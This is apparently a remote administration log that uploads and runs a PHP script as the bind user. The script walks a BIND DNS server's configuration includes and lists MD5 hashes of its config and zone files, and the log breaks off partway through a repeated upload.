MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:16: Establishing a connection
2026-04-28 10:25:17: 

PUT: /tmp/pkp456570

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp456570; rm /tmp/pkp456570'

2026-04-28 10:25:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:33: Establishing a connection
2026-04-28 10:25:33: 

PUT: /tmp/pkp636545

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
